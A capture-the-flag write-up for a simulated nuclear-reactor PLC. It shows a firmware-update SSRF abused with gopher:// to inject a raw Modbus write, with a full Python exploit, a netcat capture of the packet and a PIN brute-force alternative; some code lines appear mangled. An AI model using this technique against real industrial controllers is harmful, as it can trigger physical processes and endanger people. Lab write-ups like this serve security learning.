NorzhCTF 2020 - INDUS (200 pts).



You’ve gained access to the Norzh Nuclea nuclear reactor, your mission is to raise a nuclear alert.

You’ve two options to carry out the mission, but one of them may violate your contract rules. Think carefully before taking action!


The PLC relies on a modbus server. Using the firmware update feature, we can exploit an SSRF with the gopher:// protocol to send a modbus request, bypass the PIN code validation and trigger the alarm.


WEB application

We’ve access to a Norzh Nuclea PLC (programmable logic controller) which is controlling and monitoring the nuclear Alarm state:


The web page source contains an interesting code that has been left during development:

from pymodbus.client.sync import ModbusTcpClient as ModbusClient

from pymodbus.mei_message import ReadDeviceInformationRequest

import logging
import time

FORMAT = ('%(asctime)-15s %(threadName)-15s '
          '%(levelname)-8s %(module)-15s:%(lineno)-8s %(message)s')
log = logging.getLogger()

COUNT = 1  # number of bits/register to read
SLAVE = 0x00  # slave id to read from
REGISTER = 1  # register index
ADDRESS = 0  # address to read on
OFF_VALUE = 0  # relay off value
ON_VALUE = 1  # relay on value

def run_sync_client():
    with ModbusClient('', port=5020) as client:
        rq = ReadDeviceInformationRequest(unit=SLAVE)
        rr = client.execute(rq)
        info = ' - '.join(list(map(lambda x: x.decode(), rr.information.values())))'Server info: {info}')'Switching on the relay...')
        rq = client.write_register(address=ADDRESS, value=ON_VALUE, unit=SLAVE)
        rr = client.read_holding_registers(address=ADDRESS, count=COUNT, unit=SLAVE)
        if rr.registers == [ON_VALUE]:
  'Successfully switched on the relay!')
            log.error('Failed to switch on the relay...')

if __name__ == "__main__":

This python code snippet is a basic Modbus client that connects to a local server, gets information about the server and changes an holding register state.

Assuming it’s part of the backend source code, let’s back it up, skip it for now and analyze the frontend service.

Inspecting the javascript code, we can see that the frontend service includes only a few functions:

  • Alarm state monitoring: refresh_info()get_alarm_state()GET /alarm-state
  • Checking the firmware version: check_version()GET /check-version
  • Updating the firmware: check_version()
    • GET /update: update the firmware using the default URI
    • POST /update?uri: update the firmware using a custom URI
  • Updating the alarm state: $('#alarm-status > button').click()POST /alarm-state?pin&state: update the alarm state if the PIN code is correct
  const CURRENT_VERSION = '0.1';

  function refresh_info() {
    $('#firmware-status > p').text(CURRENT_VERSION);

  function get_alarm_state() {
    $.get('/alarm-state', function(state) {
      button = $('#alarm-status > button');
      $('#alarm-status > p').text(state);
      if (state == 'ON') {
      } else {

  function check_version() {
    $.get('/check-version', function(version) {
      version_id = parseFloat(version);
      if (parseFloat(CURRENT_VERSION) < version_id) {

  function update_firmware() {
    form = $('#update-form > form');
        url: '/update',
        type: form[0].method,
        data: form.serialize()
    .done(function (data, textStatus, jqXHR) { alert(data); })
    .fail(function (jqXHR, textStatus, errorThrown) { alert(jqXHR.responseText); render_update(true); })
    .always(function (data, textStatus, jqXHR) {});

  function render_update(custom_uri) {
    form_container = $('#update-form');
    if (custom_uri) {
      form_content = `<form action="/update" method="POST" class="form-inline mt-2 mt-md-0"><input class="form-control mr-sm-2" type="text" name="uri" placeholder="Update link"><button class="btn btn-outline-success my-2 my-sm-0" type="submit">Update</button></form>`;
    } else {
      form_content = `<form action="/update" method="GET" class="form-inline mt-2 mt-md-0"><p class="my-2 my-sm-0 mr-2">An update is available</p><button class="btn btn-outline-success my-2 my-sm-0" type="submit">Update</button></form>`;

  $(document).on('submit', '#update-form > form', function(){
    return false;

  $(document).on('click', '#alarm-status > button', function(){
        url: '/alarm-state',
        type: 'POST',
        data: `pin=${prompt('PIN code (4 digits)')}&state=${$('#alarm-status > button').val()}`
    .done(function (data, textStatus, jqXHR) { get_alarm_state() })
    .fail(function (jqXHR, textStatus, errorThrown) { alert(jqXHR.responseText) })
    .always(function (data, textStatus, jqXHR) {});
    return false;

  window.setInterval(function refresh(){
    return refresh;
  }(), 5000);


If we try to update the firmware, the update process fails and renders a new form allowing us to submit a custom update URI (as seen above):

plc1 update error

plc1 update uri

Using a Burp Collaborator payload, we can see the following interactions:

burp collaborator

The update agent uses PycURL/ to download files which relies on libcurl/7.66.0, it’s promising since libcurl generally handles (depending on its configuration) some interesting protocols like file, FTP, Gopher, HTTP, etc.

Relying on the Gopher protocol, we should be able to exploit this SSRF vector and forge raw TCP requests. Let’s try it!

Gopher protocol

Gopher is a very simple TCP/IP protocol that’s useful in performing SSRF attacks because it accepts URL-encoded characters.

The Modbus client script previously found contains juicy information;

MODBUS_HOST = ''  # modbus server host
MODBUS_PORT = 5020         # modbus server port
COUNT = 1                  # number of bits/register to read
SLAVE = 0x00               # slave id to read from
REGISTER = 1               # register index
ADDRESS = 0                # address to read on
OFF_VALUE = 0              # relay off value
ON_VALUE = 1               # relay on value

Let’s dump the raw TCP request that is responsible for activating the relay (and probably for activating the alarm)!

Listen on the port 5020/tcp for modbus requests:

nc -lvp 5020 | hexdump -C

Send Modbus single write request:

from pymodbus.client.sync import ModbusTcpClient as ModbusClient

with ModbusClient('', port=5020) as client:
    client.write_register(address=0, value=1, unit=0x00)


00000000  00 01 00 00 00 06 00 03  00 00 00 01              |............|

Reading the MODBUS/TCP packet structure, we can finally compose our exploit:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests

HOST = ''
PORT = 5020

payload  = ''
payload += '%00%01'  # Transaction identifier: 0x0001 (1)
payload += '%00%00'  # Protocol identifier: 0x0000 (0) - MODBUS protocol
payload += '%00%06'  # Length: 0x0006 (6)
payload += '%00'     # Unit identifier: 0x00 (0)
payload += '%06'     # Function code: 0x06 (6) - Write Single Register
payload += '%00%00'  # Register address: 0x0000 (0)
payload += '%00%01'  # Register value: 0x0001 (1)

uri = f'gopher://{HOST}:{PORT}/_{payload}' # _ is a junk char (ignored)

result ='', data={'uri': uri}).text



PIN code bruteforce

An alternative solution was to bruteforce the PIN code, but it was not stealthy at all and risky:

pincode bruteforce

The PIN code is 6498, but we found it using an incremental test, which is risky in a nuclear power plant as we didn’t know the technology behind there.


The final flags are:

  • ENSIBS{N0rZH_NuC1€A_DEfeAt€D!} (using SSRF)
  • ENSIBS{I_Th0uGhT_Y0u_ReAD_TH3_Rul3$...} (using PIN code)

Happy Hacking!